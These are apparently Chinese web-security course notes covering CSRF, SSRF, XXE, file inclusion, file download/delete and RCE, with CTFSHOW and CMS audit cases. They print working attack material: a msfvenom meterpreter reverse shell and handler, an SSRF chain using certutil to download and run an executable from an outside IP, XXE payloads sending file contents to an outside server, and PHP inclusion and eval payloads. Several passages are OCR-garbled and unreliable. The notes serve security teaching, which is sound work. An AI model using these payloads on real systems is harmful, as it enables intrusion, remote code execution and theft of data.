赞
踩
#知识点:
1、CSRF-原理&危害&探针&利用等
2、SSRF-原理&危害&探针&利用等
3、CSRF&SSRF-黑盒下漏洞探针点
#详细点:
CSRF全称:Cross-site request forgery,即,跨站请求伪造,也被称为One
Click Attack”或Session Riding",通常缩写为CSRF或者XSRF,是一种对网
站的恶意利用。举个生活中的例子:就是某个人点了个奇怪的链接,自己什么也没输,但
自己的qg号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以受害者名义
伪造请求,执行恶意操作,具有很大的危害性。
CSRF的攻击过程两个条件:
1、目标用户己经登录了网站,能够执行网站的功能。
2、目标用户访问了攻击者构造的UR工。
CSRF安全问题黑盒怎么判断:
1、看验证来源不-修复 referen 同源策略 不是来源本站点的连接判定为非法 但referen 可以手动修改
2、看凭据有无token–修复 操作令牌 变一次操作token变一次
3、看关键操作有无验证-修复
-CSRF安全问题白盒怎么审计:
同黑盒思路一样,代码中分析上述三看
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形
成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定U工地址获取网页文本内容,加载指定地址的图片,下载等等。
-SSRF黑盒可能出现的地方:
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过Utl地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过UR工地址加载或下载图片
5.图片/文章收藏功能:主要其会取UR工地址中title以及文本的内容作为显示以
个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相信息,就可以进行ssrf测试
7网站采集,网站抓取的地方:一些网站会针对你输入的url讲行一些信息采集工作
利用csrf 探测内网信息
#CSRF-原理&后台自动添加管理员
-案例说明:小迪在登录后台管理自己网站的时候,突然群里给小迪说阿祖又说爱上别人
了,随后给我发了个URL链接,小迪直接点了进去,GG!
小迪的网站:http://test.iaodi8.com/
发送的URL:http://47.94.236.117/add.html
利用流程:
1、获取目标的触发数据包
2、利用CSRFTester构造导出
3、诱使受害者访问特定地址触发
#SSRF-原理&服务&协议&内网&漏洞
-参考文章:https://www.t001s.cc/articles-41070.htm1
-案例说明:小迪在本地创建了远程图片文件加载应用,直接被攻击者利用SSF探针本
地及内网服务,并利用某漏洞直接获取到内网某主机的权限!
1、服务探针:
http://127.0.0.1:8081/
http://127.0.0.1:3306/
2、协议玩法:(更多玩法见上图)
file:///D:/www.txt
dict://127.0.0.1:3306/info
ftp://192.168.46.148:21
3、内网扫描:
http://192.168.46.148:8080
4、漏洞利用:
-生成:msfvenom-p windows/meterpreter/reverse_http
LHOST=47.94.236.117 LPORT=6688 -f exe -o xx.exe
-监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse http
set lhost 0.0.0.0
set lport 6688
run
-下载:
http://192.168.46.148:8080/?search==%00{.execl cmd.exe$20/c$20cert
uti1号20-ur1 cache号20-sp1it号20-f号20http://47.94.236.117/xx.exe.}
-执行:http://192.168.46.148:8080/?search==号00{.exec|xx.exe.}
#SSRF-某实际案例测试演示(功能点)
基于上述的SSF的漏洞原理,漏洞探针开展黑盒思路分析那些可能存在
#知识点:
1、ML&XXE-原理&发现&利用&修复等
2、ML&XXE-黑盒模式下的发现与利用
3、ML&XXE-白盒模式下的审计与利用
4、ML&XXE-无回显&伪协议&产生层面
#思路点:
参考:https://www.cnb1ogs.com/201752111yz/p/11413335.htm1
-XXE黑盒发现:
1、获取得到Content-Type或数据类型为ml时,尝试进行ml语言payload进行
测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xe
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成
文件中的XXE Payload被执行
-XXE白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
#详细点:
XML被设计为传输和存储数据,XML文档结构包括ML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTL分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称ML External Entity Injection,即Xml外部实体
注入漏洞,XXE漏洞发生在应用程序解析工输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
XML与HTML的主要差异:
XXL被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
HTML旨在显示信息,而XML旨在传输信息。
XXE修复防御方案:
-方案1-禁用外部实体
PHP:
libxml disable entity loader(true)i
JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance ();dbf.setExpandEntityReferenc
es(false);
演示案例:
ML&XE-黑盒-原理&探针&利用&玩法等
XML&XXE-前端-CTF&Jarvisoj&探针&利用
XML&XXE-白盒-CMS&PHPSHE&无▣显审计
#XML&XXE-黑盒-原理&探针&利用&玩法等
参考:https://www.cnb1ogs.com/201752111yz/p/11413335.htm1
1、读取文件:
<?xml version="1.0"?>
<DOCTYPE Mikasa
<!ENTITY test SYSTEM "file:///d:/e.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>
1.1、带外测试:
<?xml version="1.0"?>
<DOCTYPE test
<!ENTITY file SYSTEM "http://9v5711.dnslog.cn">
号fi1e;
]>
<user><username>&send;</username><password>Mikasa</password></use
r>
2、外部引用实体dtd:
<?xml version="1.0"?
<DOCTYPE test
<!ENTITY file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
&file;
]>
<user><username>&send;</username><password>Mikasa</password></use
上>
evi12.dtd
<!ENTITY send SYSTEM "file:///d:/e.txt">
3、无回显读文件
<?xml version="1.0"?>
<DOCTYPE ANY
<!ENTITY file SYSTEM "file:///d:/e.txt">
<!ENTITY remote SYSTEM "http://47.94.236.117/test.dtd">
号remote;
号a11;
]>
<root>&send;</root>
test.dtd
<!ENTITY al1 "<!ENTITY send SYSTEM
'http://47.94.236.117/get.php?fi1e=号fi1e;'>">
4、其他玩法(协议)-见参考地址
#XML&XXE-前端-CTF&Jarvisoj&探针&利用
#知识点:
1、解释什么是文件包含
php 里常见 其他不多常见 include (‘1.php’ ) 实现文件共享
包含即执行 包含txt png 也能执行
2、分类-本地LFl&远程RFl
3、利用-配合上传&日志&会话
4、利用伪协议&编码&算法等
#核心知识:
1、本地包含LFI&远程包含RFl-区别
一个只能包含本地,一个可以远程加载
具体形成原因由代码和环境配置文件决定
2、各类脚本语言包含代码写法见下文
<-#include file=“1.asp”–>
<#include file=“top.aspx”–>
<c:import url=“http://thief.one/1.jsp”>
<jsp:include page=“head.jsp”/>
<%include file=“head.jsp”%>
3、各类脚本语言包含伪协议玩法-见图
https://www.cnblogs.com/endust/p/11804767.html
#思路要点:
黑盒发现:主要观察参数传递的数据和文件名是否对应
几率不是很大
-白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
#本课总结:
1、有可控文件如能上传文件,配合上传后包含
2、无可控文件可以利用日志或Session&伪协议
3、代码固定目录及文件后缀时需考虑版本绕过
4、伪协议玩法是建立在代码中只有变量存在时
演示案例:
前置知识-原理&分类&探针&利用&修复
CTF应用-CTFSHOW-78关卡到117关卡
CMS源码-XHCMS-代码审计&日志&绕过
#前置知识-原理&分类&探针&利用&修复
#CTF应用-CTFSHOW-78关卡到117关卡
78-php&htp协议
参考 https://segmentfault.com/a/1190000018991087
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
payload:?file=php://input post:<?php system('tac flag.php');?
payload:?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system(tac flag.php');?
79-data&http协议
payload:?file=data://text/plain,<?=system('tac flag.*);?>
payload:
?file=data://text/plain:base64.PD9waHAgc3izdGVtKCdoYWMgZmxhZy5waHAnKTs/Pg==
payload:?file=http://www.xiaodi8.com/1.txt 1.txt <?php system('tac flag.php'):?>
8081-日志包含
1、利用其他协议,如ile,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:var/log/nginx/access.log
82-86-SESSION包含
https://www.cnblogs.com/Interpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html
87-php:l/filter/write&加它编码
1、利用base64
url编码2次:pnp/filter/write-convertbase64-decode/resource-123.php
content=aaPD9waHAgQGV2YWWOJF9QT1NUW2FdKTs/Pg==
2、利用凯撒13:
url编码2次:php//filter/write=string.rot13/resource-2.php
content=<?cuc ffgrz('gnp s*.cuc').?>
88-data&base64协议
过滤PHP,各种符号,php代码编码写出无符号base64值
Payload:
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdoYWMgKi5waHAnKTtlY2hvIDEyMz
s/PmFk
117-php:/filter/write&新的算法
convert…iconv.:一种过滤器,和使用icov(O函数处理流数据有等同作用
echo"经过一次反转:"
r
e
s
u
l
t
.
n
"
e
c
h
o
"
经过第二次反转
"
.
i
c
o
n
v
(
"
U
C
S
−
2
L
E
"
,
"
U
C
S
−
2
B
E
"
,
result.n" echo"经过第二次反转".iconv("UCS-2LE","UCS-2BE",
result.n"echo"经过第二次反转".iconv("UCS−2LE","UCS−2BE",result):
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>
#CMS凉码-XHCMS-代码亩计&日志&过
1、搜察特定函数寻包含点
2、固定目录及后景名需绕过
3、由CMS无上传用日志包含
#知识点:
1、文件操作类安全问题
2、文件下载&删除&读取
3、白盒&黑盒&探针分析
#详细点:
文件读取:基本和文件下载利用类似
文件下载:利用下载获取源码或数据库配置文件及系统敏感文件为后续出思路
文件删除:除自身安全引发的文件删除外,可配合删除重装锁定文件进行重装
演示案例:
审计分析-文件下载-XHCMS-功能点
审计分析-文件读取-MetInfo-函数搜索
审计分析-文件删除-74CMS-函数搜索
黑盒分析-下载读取-下载资源URL参数
#白盒审计:
1、文件下载
流程-功能点抓包-寻代码文件-寻变量控制-构造测试
Payload:softadd=d:/1.txt softadd2=d:/1.txt
2、文件删除:74CMS-配合删除重装
流程-特定函数搜索-寻触发调用-构造Payload测试
Payload:
/admin/admin article.php?act=del img&img=…/…/data/install.lock
3、文件读取:MetInfo-任意读取
流程-特定函数搜索-寻触发调用-构造Payload测试
Payload:/include/thumb.php?dir=http…\config\config db.php
#黑盒探针
1、URL参数名及参数值分析:
参数名:英文对应翻译
参数值:目录或文件名
2、功能点自行修改后分析:
文件下载,删除,读取等
#知识点:
1、RCE执行-代码执行&命令执行
2、CTF考点-漏洞配合&绕过手法
3、利用审计-CMS框架&中间件等
#详细点:
1.为什么会产生此类安全问题
2.此类安全问题探针利用及危害
3.此类安全问题在CTF即CMS分析
漏洞场景:代码会调用自身的脚本代码执行,也会调用系统命令执行
漏洞区别:脚本语言&操作系统(php/java/python/js&windows/1inux/mac)
漏洞对象:WEB源码&中间件&其他环境(见漏洞详情对象)
漏洞危害:直接权限丢失,可执行任意脚本代码或系统命令
演示案例:
RCE-原理&探针&利用&危害等
CTF-29~39-RCE代码命令执行
CMS-PbootCMS审计-RCE执行
层面-探针-语言&CMS&中间件等
#RCE-原理&探针&利用&危害等
举例:
-RCE代码执行:引用脚本代码解析执行
-RCE命令执行:脚本调用操作系统命令
漏洞函数:
1.PHP:
eva1()、assert()、preg replace()、call_user func()、
call_user_func_array()以及array_map()等
system、shell_exec、popen、passthru、proc open等
2.Python:
eval exec subprocess os.system commands
3.Java:
Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,
但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL等.
#CTF-29~39-RCE代码命令执行
29-通配符
system('tac fla*.php);
30-取代函数&通配符&管道符
cp fla*.ph2.txt
echo shell exec ('tac fla.ph*);
31-参数逃逸 虚构个参数
eval(KaTeX parse error: Expected 'EOF', got '&' at position 9: GET[1]);&̲1=system('tac f…GET [a]?>&a=data://text/plain,<?=system('tac f1ag.php')i?>
includes GET[a]?>&a=php://filter/read=convert.base64-
encode/resource=flag.php
37~39-包含&伪协议&通配符
data://text/plain,<?=system('tac fla*');?>
php://input post:<?php system('tac flag.php');?>
#代码审计-Pb0 otCMS-RCE代码执行
流程:搜索特定函数->parserlfLabel–>parserCommom->About&Content->构道
AboutController:(pboot:if(eval(S_POST[1]))!!!(/pboot:if)
ContentController:/index.php/Content/2?keyword=[pboot:if(eval(S_REQUEST[1]))
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。